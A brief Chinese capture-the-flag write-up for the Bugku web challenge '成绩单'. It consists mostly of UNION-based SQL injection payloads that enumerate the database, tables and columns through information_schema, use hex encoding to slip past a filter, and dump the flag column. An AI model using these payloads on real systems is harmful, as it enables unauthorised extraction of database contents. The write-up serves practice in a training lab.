Bugku——成绩单（web）

可以大概判断出有四个字段
直接上payload

-1' union select 1,2,3,database()#-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#//这里需要用16进制绕过-1' union select 1,2,3,skctf_flag from fl4g#